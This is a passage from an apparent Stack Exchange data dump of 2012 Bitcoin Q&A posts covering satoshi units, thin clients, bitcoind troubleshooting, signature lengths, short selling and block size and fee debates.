AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="3664" PostTypeId="2" ParentId="1166" CreationDate="2012-05-14T09:21:10.233" Score="1" Body="&lt;p&gt;Switch Poker is a real money poker site, and it accepts bitcoins:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://www.switchpoker.com/?rid=2400&quot; rel=&quot;nofollow&quot; title=&quot;Switch Poker&quot;&gt;Switch Poker&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="626" LastActivityDate="2012-05-14T09:21:10.233" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3665" PostTypeId="2" ParentId="2411" CreationDate="2012-05-14T09:33:36.917" Score="-1" Body="&lt;p&gt;Probably the same thing will happen as with Bitcoin. So far about 3% of the generated coins have been destroyed. By now the price for name operations is fixed at 0.01NMC so the percentage of destroyed coins should decrease for a while. If there is a problem the system could be modified. IMHO the destroyed coins will be completely neglectable for a long time.&lt;/p&gt;&#xA;" OwnerUserId="257" LastActivityDate="2012-05-14T09:33:36.917" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3666" PostTypeId="2" ParentId="3644" CreationDate="2012-05-14T09:52:59.980" Score="7" Body="&lt;p&gt;When I first looked into this issue the low price for name operations struck me odd, too. But the rationale behind it is to allow to register as many names for as low a price possible. You need to realize namecoin is not only about domains and the dot-bit project is only the first large namecoin project. namecoin is a generic name/value accounting system. &#xA;Still, because dot-bit was the first project based on namecoin the design had an initially high price for registering names to prevent squatting. Actually it worked very well, if it had not been there I and others would have registered thousands of domains much earlier.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;there was a discussion about fees and thoughts about modifications here: &lt;a href=&quot;http://dot-bit.org/forum/viewtopic.php?f=2&amp;amp;t=360&quot;&gt;http://dot-bit.org/forum/viewtopic.php?f=2&amp;amp;t=360&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;By now almost a 60000 domains have been registered so imho it is more important to have low name prices to allow other usage of the namecoin system than to further prevent squatting: &lt;a href=&quot;http://dot-bit.org/Use_cases&quot;&gt;possible use cases&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="257" LastActivityDate="2012-05-14T09:52:59.980" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="3667" PostTypeId="2" ParentId="3663" CreationDate="2012-05-14T10:28:03.520" Score="18" Body="&lt;p&gt;Bitcoin amounts in the protocol and software are expressed as an integer number of &quot;satoshis&quot;. 1 BTC is defined as 10^8 satoshis. So a block reward that is internally represented as 5*10^9 satoshis is displayed in the GUI as 50 BTC.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Splitting bitcoins to even smaller fractions will require a change in the protocol and software, and may be done when their value becomes much larger.&lt;/p&gt;&#xA;" OwnerUserId="575" LastActivityDate="2012-05-14T10:28:03.520" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3668" PostTypeId="1" CreationDate="2012-05-14T10:38:09.153" Score="11" ViewCount="6943" Body="&lt;p&gt;I'm having a hard time finding objective reviews / comparisons of these two 'lite' clients. Can someone who tried them both give some comments?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;" OwnerUserId="1369" LastEditorUserId="516" LastEditDate="2012-06-08T01:33:29.567" LastActivityDate="2012-06-08T01:33:29.567" Title="Multibit vs Electrum - which is more mature and secure?" Tags="|client|thin-clients|" AnswerCount="2" CommentCount="0" ClosedDate="2013-04-17T03:14:14.250" ContentLicense="CC BY-SA 3.0" />
  <row Id="3669" PostTypeId="2" ParentId="3576" CreationDate="2012-05-14T12:53:06.133" Score="1" Body="&lt;p&gt;they started spamming Bitcoin-threads on 4chan's technology board. then the bitcoin prices started to rise. after the spike no one ever mentioned bitcoins again on 4chan. /job done/&lt;/p&gt;&#xA;&#xA;&lt;p&gt;personally i think they reached currency speculators  through 4chan (they also talk about finance, financing options and how much money they make through trading) and as a currency speculator, you know the weak spots of money.&lt;/p&gt;&#xA;" OwnerUserId="1370" LastActivityDate="2012-05-14T12:53:06.133" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3670" PostTypeId="1" CreationDate="2012-05-14T12:55:25.357" Score="6" ViewCount="3977" Body="&lt;p&gt;The initial question asked was as follows, but it turned out to be nothing to do with keypools:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;I had keypool=1000 before. Now I started bitcoind (the daemon version)&#xA;  with keypool=10000 option, and it is 2 hours already and bitcoind&#xA;  didn't start up yet. I.e. I still get &lt;code&gt;error: couldn't connect to&#xA;  server&lt;/code&gt; when I try to do &lt;code&gt;bitcoind getbalance&lt;/code&gt;.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Its a quite fast machine AMD 64bit 4000+ CPU with 10 GB RAM, how long&#xA;  the start-up time can be? And will it be so long every time I start&#xA;  the daemon, or only the first time?&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Will future start-up times increase in any noticeable way if I keep&#xA;  keypool=10000 in comparison with 1000? Or any other performance&#xA;  degradation, except this first startup?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Edit&lt;/strong&gt;: In the end it had nothing to do with &lt;code&gt;keypool=10000&lt;/code&gt;. For some unknown reason my local interface was down. I fixed it with:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;ifconfig lo up&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I killed the bitcoin daemon with &lt;code&gt;kill $PID&lt;/code&gt;, started it again and within a minute I could do &lt;code&gt;bitcoind getbalance&lt;/code&gt;.&lt;/p&gt;&#xA;" OwnerUserId="162" LastEditorUserId="659" LastEditDate="2012-05-15T20:11:33.277" LastActivityDate="2013-02-27T04:51:16.957" Title="Why can't I connect to bitcoind on localhost?" Tags="|bitcoind|backup|keypool|" AnswerCount="3" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="3671" PostTypeId="1" AcceptedAnswerId="3673" CreationDate="2012-05-14T17:27:45.673" Score="2" ViewCount="448" Body="&lt;p&gt;I've read that public keys that bitcoin uses have 130 characters (65 bytes), but on the page: &lt;a href=&quot;http://blockexplorer.com/tx/7e9bf03454b9ff80974d39d02a8088154e60ee65726e239f70341366d1a1ccf7&quot; rel=&quot;nofollow&quot;&gt;http://blockexplorer.com/tx/7e9bf03454b9ff80974d39d02a8088154e60ee65726e239f70341366d1a1ccf7&lt;/a&gt;&#xA;I've found a public key: 30440220fe5322474a08626beac8fd44b9854fa3af52c14848993a9216b18b29793539f40220dd66a46dc1daa3d0d33fae22b7cc8ee3c753b062cc2e1a3be76183ee1f9dbbcb01 (140 characters), in addition the public key doesn't start with '04'.&#xA;There are a lot of keys with 140 characters. Is &lt;a href=&quot;https://en.bitcoin.it/wiki/Technical_background_of_Bitcoin_addresses&quot; rel=&quot;nofollow&quot;&gt;https://en.bitcoin.it/wiki/Technical_background_of_Bitcoin_addresses&lt;/a&gt; wrong or have I missed something?&lt;/p&gt;&#xA;" OwnerUserId="1371" LastEditorUserId="659" LastEditDate="2012-05-14T19:12:42.573" LastActivityDate="2012-05-14T19:12:42.573" Title="Public key with 142 characters?" Tags="|public-key|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3672" PostTypeId="1" AcceptedAnswerId="5253" CreationDate="2012-05-14T18:16:57.087" Score="10" ViewCount="5846" Body="&lt;p&gt;I've read the README on the bitcoin github page which instructs you to install the following libraries using MacPorts - &lt;code&gt;boost&lt;/code&gt; &lt;code&gt;db48&lt;/code&gt; &lt;code&gt;dbus&lt;/code&gt; &lt;code&gt;openssl&lt;/code&gt;.&lt;/p&gt;&#xA;&lt;p&gt;I have these installed using &lt;code&gt;homebrew&lt;/code&gt; which I use instead of MacPorts. They are also the correct versions as &lt;code&gt;homebrew&lt;/code&gt; installs, later, incompatible versions.&lt;/p&gt;&#xA;&lt;p&gt;With these installed I edited the &lt;code&gt;make&lt;/code&gt; to point to the libraries &lt;code&gt;homebrew&lt;/code&gt; installed namely &lt;code&gt;DEPSDIR=/usr/local&lt;/code&gt; and adding  &lt;code&gt;-I&amp;quot;$(DEPSDIR)/Cellar/berkeley-db4/4.8.30/include&amp;quot;&lt;/code&gt; to &lt;code&gt;INCLUDEPATHS&lt;/code&gt;&lt;/p&gt;&#xA;&lt;p&gt;However I'm getting this compiler error which is cryptic to me:&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://gist.github.com/ashleyconnor/944f611b969444f06430145972b880cf&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://gist.github.com/ashleyconnor/944f611b969444f06430145972b880cf&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;Has anybody managed to get this working?&lt;/p&gt;&#xA;" OwnerUserId="1372" LastEditorUserId="1372" LastEditDate="2020-09-16T16:40:21.417" LastActivityDate="2020-09-16T16:40:21.417" Title="Trouble compiling bitcoind on OSX with homebrew" Tags="|client|mac|compiling|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="3673" PostTypeId="2" ParentId="3671" CreationDate="2012-05-14T19:11:59.267" Score="4" Body="&lt;p&gt;The public key is the &lt;a href=&quot;https://en.bitcoin.it/wiki/Transactions#Transfer_to_Bitcoin_address&quot; rel=&quot;nofollow&quot;&gt;2nd word in the scriptSig&lt;/a&gt; but you're looking at the first word.  That's the signature.  Signatures are 71 to 73 bytes (142 to 146 characters) long.  I think you must have miscounted when you wrote that the one you found had 140 characters.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the example you're looking at, the public key (i.e. the 2nd word in the scriptSig) is:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;04&#xA;73769dda763e1f3f0ff1ca65343ed27279d73a63eaf88ca93714f0605d5d06bd&#xA;6d57cc6c3097909c5e0947341201d4960e4e16598687aa29c7b6c4675b7d66b6&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and is 65 bytes long, as expected.&lt;/p&gt;&#xA;" OwnerUserId="659" LastActivityDate="2012-05-14T19:11:59.267" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3674" PostTypeId="2" ParentId="3670" CreationDate="2012-05-14T19:53:45.003" Score="2" Body="&lt;p&gt;My &quot;Intel(R) Core(TM)2 Duo CPU     T6600  @ 2.20GHz&quot; laptop just took 80 seconds to create 1000 new addresses, so I'm surprised you're seeing over 2 hours for 10 times that.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;One thing I noticed is that the address creation is noticeable faster now than I remember it - so perhaps upgrading to a recent version of the client will speed things up for you.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Run &quot;tail -f ~/.bitcoin/debug.log&quot; to see a log of which key number it's currently creating.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Either way, the start up should only be noticeably slower the first time, when the pool is initially created.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Edit: (in response to miernik's comment)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The debug.log output will end with lines like the following while it's populating the keypool:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;keypool added key 41, size=41&#xA;keypool added key 42, size=42&#xA;keypool added key 43, size=43&#xA;keypool added key 44, size=44&#xA;keypool added key 45, size=45&#xA;keypool added key 46, size=46&#xA;keypool added key 47, size=47&#xA;keypool added key 48, size=48&#xA;keypool added key 49, size=49&#xA;keypool added key 50, size=50&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The stuff you're seeing is what happens while bitcoin is running normally.  It's receiving and responding to messages on the P2P network.  I don't know what to suggest as to why it isn't accepting RPC connections.  Could it be a firewall issue, or some other configuration problem unrelated to the keypool argument?&lt;/p&gt;&#xA;" OwnerUserId="659" LastEditorUserId="659" LastEditDate="2012-05-15T10:50:40.627" LastActivityDate="2012-05-15T10:50:40.627" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="3675" PostTypeId="2" ParentId="3668" CreationDate="2012-05-14T21:44:27.350" Score="8" Body="&lt;p&gt;At the moment the Electrum client is more secure as the wallets are password protected. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am the lead developer on MultiBit and am working on wallet encryption but it will take me a few weeks yet. There are a number of changes to make. &lt;/p&gt;&#xA;" OwnerUserId="888" LastEditorUserId="888" LastEditDate="2012-05-14T22:49:14.947" LastActivityDate="2012-05-14T22:49:14.947" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3676" PostTypeId="2" ParentId="3668" CreationDate="2012-05-14T23:50:31.930" Score="5" Body="&lt;p&gt;I think multibit shines in its ability to handle multiple wallets, which is very important to maintain anonymity and information leakage through &quot;change&quot; transactions.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, Electrum is currently a much more feature rich client that allows you to create wallets &lt;em&gt;and spend&lt;/em&gt; bitcoins from an air-gapped computer with no internet connectivity. This is the ultimate security for Bitcoins.&lt;/p&gt;&#xA;" OwnerUserId="1364" LastActivityDate="2012-05-14T23:50:31.930" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3677" PostTypeId="2" ParentId="3670" CreationDate="2012-05-15T05:09:24.970" Score="2" Body="&lt;p&gt;In the end it had nothing to do with &lt;code&gt;keypool=10000&lt;/code&gt;. For some unknown reason my local interface was down. I fixed it with:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;ifconfig lo up&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I killed the bitcoin daemon with &lt;code&gt;kill $PID&lt;/code&gt;, started it again and within a minute I could do &lt;code&gt;bitcoind getbalance&lt;/code&gt;.&lt;/p&gt;&#xA;" OwnerUserId="162" LastActivityDate="2012-05-15T05:09:24.970" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3678" PostTypeId="2" ParentId="3663" CreationDate="2012-05-15T08:44:30.080" Score="9" Body="&lt;p&gt;&lt;strong&gt;A psychological perspective&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Most currencies allow for 2 decimal places for common use because they are strongly regulated by their issuing government. Some provide 3dp, others, like the Yen provide none (integer only). It should be noted that stock exchanges offer shares priced down to 4dp but given the surrounding fees it is not economical to purchase a single share at that price so is used mainly as a multiplying factor during a bulk purchase. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;Nullifying an argument&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When Bitcoin was being created it was completely unknown how the economy would grow and by pushing out to 8dp it immediately nullified the standard argument of &lt;em&gt;&quot;21 million bitcoins, why, that's not going to be enough to run the world - I won't bother with it&quot;&lt;/em&gt;. This is because the total number of currency units available becomes 21 * 1,000,000 * 100,000,000 which is 2.1 quadrillion - more than enough to run a global economy.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;Forcing developers to work up front&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A secondary effect of this decision is that it sets the tone of Bitcoin as being completely apart from other currencies. No other currency operates with 8dp and this has the effect of introducing some specialised currency handling for Bitcoin calculations. This is necessary for other currencies too, but having 8dp forces the issue in the mind of a developer far more than a standard 2dp currency. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Once that specialised handling is in place it can be scaled further than 8dp to any number within reason and this makes Bitcoin very scalable. If the time should come that 2.1q units is not enough, then the code can be altered to accommodate the new demand.&lt;/p&gt;&#xA;" OwnerUserId="117" LastEditorUserId="575" LastEditDate="2012-05-15T09:41:43.587" LastActivityDate="2012-05-15T09:41:43.587" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="3679" PostTypeId="1" AcceptedAnswerId="3680" CreationDate="2012-05-15T09:41:51.460" Score="7" ViewCount="1318" Body="&lt;p&gt;It is known that the type of computing power required for mining is the same used to generate addresses, and it is known that &quot;in general&quot; it is much more profitable to simply mine, rather than try to generate addresses hoping to stole their content.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But AFAIK there are some addresses out there which contain a huge amount of bitcoins: successfully generating their private key would award you &lt;em&gt;a lot&lt;/em&gt; more bitcoins than those you would get generating a new block.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Has someone actually made some figures comparing the average revenue of mining vs. the chance of generating the key of a very rich address?&lt;/p&gt;&#xA;" OwnerUserId="196" LastEditorUserId="2306" LastEditDate="2016-03-09T23:11:49.500" LastActivityDate="2017-10-01T15:12:16.877" Title="Has someone compared the cost of mining vs. that of brute-forcing addresses?" Tags="|security|mining-profitability|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="3680" PostTypeId="2" ParentId="3679" CreationDate="2012-05-15T09:56:54.660" Score="12" Body="&lt;p&gt;The chance of generating the key of a very rich address is effectively zero. That is, in the entire history of humanity, nobody has come anywhere close to accomplishing such a feat. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Let's consider 1 Bitcoin a score. Since there can never be more than 21 million bitcoins or so, you need to hit on one of at most 21 million accounts. Let's say you could try 2 trillion accounts per second. Your odds of matching an account in a hundred years are approximately one in 11 billion billion.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Good luck.&lt;/p&gt;&#xA;" OwnerUserId="85" LastEditorUserId="5406" LastEditDate="2017-10-01T15:12:16.877" LastActivityDate="2017-10-01T15:12:16.877" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="3681" PostTypeId="1" AcceptedAnswerId="3683" CreationDate="2012-05-15T13:48:45.107" Score="12" ViewCount="3277" Body="&lt;p&gt;Bitcoinica does (or did) offer short selling, but the question is how?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I fund my account with 100 BTC and I want to short BTC, can I do that, or do I need USD to do that?&lt;/p&gt;&#xA;" OwnerUserId="1151" LastActivityDate="2014-07-21T07:03:54.377" Title="How exactly does short selling with Bitcoins work?" Tags="|trading|speculation|bitcoinica|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3682" PostTypeId="1" CreationDate="2012-05-15T15:42:18.643" Score="3" ViewCount="9645" Body="&lt;p&gt;I downloaded DiabloMiner and got it to run by:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Using the options: &lt;code&gt;-v2 -w256 -na&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;Increase the Java heap size by editing the &lt;code&gt;DiabloMinder-OSX.sh&lt;/code&gt; file: &lt;code&gt;-Xmx384m&lt;/code&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;And I am getting around 60-70mhash/sec on my MBP (&lt;code&gt;MacBookPro8,3&lt;/code&gt;, early 2011) /w AMD Radeon HD 6750M, supposedly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I say supposedly because I get no shares on mining.bitcoin.cz, so I setup the testnet in a box and ran my miner against that and appeared to get no where.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So my question(s):&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;What, if anything, am I doing incorrectly?&lt;/li&gt;&#xA;&lt;li&gt;Is there a better way/miner to be using on OSX(GPU).  Mining information on OSX is very hard to find.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="1377" LastEditorUserId="5406" LastEditDate="2016-03-31T17:18:26.267" LastActivityDate="2016-03-31T17:18:26.267" Title="Diablo Miner on OSX Lion" Tags="|mac|miner-configuration|diablominer|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3683" PostTypeId="2" ParentId="3681" CreationDate="2012-05-15T19:10:35.367" Score="6" Body="&lt;p&gt;Short selling is essentially an agreement between you and Bitcoinica where Bitcoinica pays you if the BTC/USD price decreases, and you pay them if the price increases, in an amount equal to the price difference multiplied by the number of bitcoins you sold short.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Presumably you trust Bitcoinica to hold up its end of the deal, but they don't know you and don't trust you, so they require you to make a deposit which they deem more than enough to be able to cover your obligations. It may happen that when the price changes they are no longer confident your deposit is enough; they will then do a forced liquidation, settling the agreement up to this point and only allowing you to make a smaller agreement going forward.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The deposit can be in either BTC or USD. If you have BTC, however, you may want to consider first selling the BTC (which is functionally equivalent to taking a short position), which may be done cheaper than in Bitcoinica, and then short-sell on Bitcoinica.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;An alternative view of short-selling is that you borrow bitcoins from Bitcoinica, offering a deposit as collateral, and then selling them. With Bitcoinica out of the picture for now, short-selling can be done by literally finding someone to borrow bitcoins from.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can also learn more about &lt;a href=&quot;http://en.wikipedia.org/wiki/Margin_%28finance%29&quot;&gt;Margin trading&lt;/a&gt; in general on Wikipedia.&lt;/p&gt;&#xA;" OwnerUserId="575" LastEditorUserId="575" LastEditDate="2012-05-15T19:19:23.837" LastActivityDate="2012-05-15T19:19:23.837" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="3684" PostTypeId="2" ParentId="3679" CreationDate="2012-05-15T20:25:32.573" Score="3" Body="&lt;p&gt;&lt;a href=&quot;https://bitcoin.stackexchange.com/q/22/659&quot;&gt;Is it possible to brute force bitcoin address creation in order to steal money?&lt;/a&gt; is the same question, and has an argument about what &quot;possible&quot; means in which a majority of people seem to think that something can have a greater than zero probability and also be impossible at the same time.  Check it out!&lt;/p&gt;&#xA;" OwnerUserId="659" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:33.610" LastActivityDate="2012-05-15T20:25:32.573" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="3685" PostTypeId="1" AcceptedAnswerId="3687" CreationDate="2012-05-15T21:17:18.013" Score="3" ViewCount="254" Body="&lt;p&gt;I'm thinking about the scalability of the system with regard to the transaction volume. Is it possible to predict future blockchain size for a certain future transaction volume? Is the relationship directly proportional?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Are there any estimates compared to traditional fiat currencies transaction volumes? &lt;/p&gt;&#xA;" OwnerUserId="136" LastEditorUserId="5406" LastEditDate="2015-05-08T10:10:58.927" LastActivityDate="2015-05-08T10:10:58.927" Title="what is the relationship between the blockchain size and the transaction volume on the network?" Tags="|transactions|economic-theory|scalability|blocksize|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3686" PostTypeId="2" ParentId="3685" CreationDate="2012-05-15T22:17:54.563" Score="3" Body="&lt;p&gt;Well, there are upper per-block size limits (about 500KB per block) based on the currently implemented protocol.  So max levels might be 5x or 10X current levels.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When those levels get hit, then it will be levels of fees that determine transaction volumes, and the many microtransactions seen today will no longer be justifiable.&lt;/p&gt;&#xA;" OwnerUserId="153" LastActivityDate="2012-05-15T22:17:54.563" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3687" PostTypeId="2" ParentId="3685" CreationDate="2012-05-15T22:36:49.733" Score="2" Body="&lt;p&gt;The &lt;a href=&quot;https://en.bitcoin.it/wiki/Scalability&quot; rel=&quot;nofollow&quot;&gt;Bitcoin wiki page on scalability&lt;/a&gt; looks at what things would be like if transaction volume was similar to that of Visa. It states:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Today the Bitcoin network is restricted to a sustained rate of 7 tps&#xA;  by some artificial limits. These were put in place to stop people from&#xA;  ballooning the size of the block chain before the network and&#xA;  community was ready for it. Once those limits are lifted, the maximum&#xA;  transaction rate will go up significantly.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;The page also contains various calculations on what the implications are of the Bitcoin network matching Visa's rate of transaction processing (which the page states as being around 2,000 transactions/sec). Figures on storage required for the blockchain are included in the calculations, but it's clear that as Bitcoin grows the core backend nodes will require commercial levels of investment in hardware &amp;amp; systems.&lt;/p&gt;&#xA;" OwnerUserId="516" LastActivityDate="2012-05-15T22:36:49.733" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3688" PostTypeId="1" AcceptedAnswerId="3694" CreationDate="2012-05-16T01:41:58.417" Score="4" ViewCount="929" Body="&lt;p&gt;Hypothetically, if it were a well coordinated NSA-type shut down and ALL ISP's suddenly blocked port 8332 (major ones anyway), how would the Bitcoin system immediately handle it?&lt;/p&gt;&#xA;" OwnerUserId="1151" LastEditorUserId="323" LastEditDate="2012-05-24T00:54:10.197" LastActivityDate="2012-05-24T00:54:10.197" Title="What if ISP's block port 8332?" Tags="|bitcoind|port|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3689" PostTypeId="1" AcceptedAnswerId="3691" CreationDate="2012-05-16T02:55:29.543" Score="8" ViewCount="1814" Body="&lt;p&gt;It seems that one of the strengths of Bitcoin is the ability to send &lt;strong&gt;tiny&lt;/strong&gt; amounts across the globe. If we keep thinking in USD or EUR, we'll wipe out micro transactions altogether (less than 100 satoshi).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So will transaction fees eventually put a lower bound on how small of a transaction can be sent?&lt;/p&gt;&#xA;" OwnerUserId="1151" LastEditorUserId="5406" LastEditDate="2023-12-17T14:58:08.610" LastActivityDate="2023-12-17T14:58:08.610" Title="Will transaction fees eventually make microtransactions not worthwhile?" Tags="|transactions|transaction-fees|economic-theory|micropayments|" AnswerCount="4" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="3690" PostTypeId="2" ParentId="3689" CreationDate="2012-05-16T03:48:38.050" Score="1" Body="&lt;p&gt;There is a limit on how many free transactions can be processed, and once (if) that limit is reached it's likely users will pay a relatively small transaction fee to get higher priority than micro transactions.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But how much value is there in processing micro transactions?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If demand for Bitcoin transactions gets that high, and someone sees enough value in processing micro-transactions, then my guess would be that either modifications would be made to the Bitcoin system (perhaps less likely) or an alternative crypto currency could be designed to meet the need (more likely).&lt;/p&gt;&#xA;" OwnerUserId="516" LastActivityDate="2012-05-16T03:48:38.050" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3691" PostTypeId="2" ParentId="3689" CreationDate="2012-05-16T04:06:03.007" Score="8" Body="&lt;p&gt;A change to the 500KB per-block limit can be done with updating the client without causing a fork, but that only goes up to a 1M block size.  To exceed that 1M limit would require a hard fork and thus it is possible when that limit approached, a larger limit might never happen.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Bitcoin could hit those limits before really even &quot;taking off&quot; even.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Bitcoin was never architected to be a microtransaction system.  It works fine as one for now but eventually that use might no longer be feasible.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are currently methods to use bitcoins for microtransactions without touching the blockchain.  For example, Mt. Gox BTC redeemable codes have no fee (currently) and could be used, presumably, for microtransactions.  Various approaches will solve the microtransactions problem better than Bitcoin does.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the meantime, businesses that do use microtransactions can get off the ground by taking advantage of the fact that Bitcoin's is still well below the per-block capacity limit and thus microtransactions are nearly free.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Build a customer base in a market today, solve the technical problems tomorrow.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;With Satoshi Dice's growth, for instance, there might soon be enough demand to launch a alternate blockchain for its microtransactions with properties that are useful for that special case.&lt;/p&gt;&#xA;" OwnerUserId="153" LastActivityDate="2012-05-16T04:06:03.007" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3692" PostTypeId="2" ParentId="3688" CreationDate="2012-05-16T04:46:14.053" Score="3" Body="&lt;p&gt;We would all switch to port 80.&lt;/p&gt;&#xA;" OwnerUserId="1364" LastActivityDate="2012-05-16T04:46:14.053" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="3693" PostTypeId="2" ParentId="3689" CreationDate="2012-05-16T06:47:06.233" Score="2" Body="&lt;p&gt;There is a tradeoff between how cheap it is to send a transaction, and how expensive it is to run a full network node. With the current 1MB per block limit transactions will eventually be expensive, if it is relaxed they can be made cheaper.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If transactions do end up expensive, a variety of layers on top of Bitcoin can be used to facilitate microtransaction, such as OpenTransactions and Ripple, and arguably Bitcoin will form a stronger foundation for those than traditional currencies.&lt;/p&gt;&#xA;" OwnerUserId="575" LastActivityDate="2012-05-16T06:47:06.233" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3694" PostTypeId="2" ParentId="3688" CreationDate="2012-05-16T08:16:08.750" Score="4" Body="&lt;p&gt;Bitcoin can be configured to handle any port for both peer-to-peer communication, as well as JSON RPCs. However, as Bitcoin clients do not encrypt their messages, it would still be fairly easy to filter out Bitcoin-related activities. One could then switch to using Bitcoin through TOR, or the developers could implement message encryption if needed be.&lt;/p&gt;&#xA;" OwnerUserId="323" LastActivityDate="2012-05-16T08:16:08.750" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
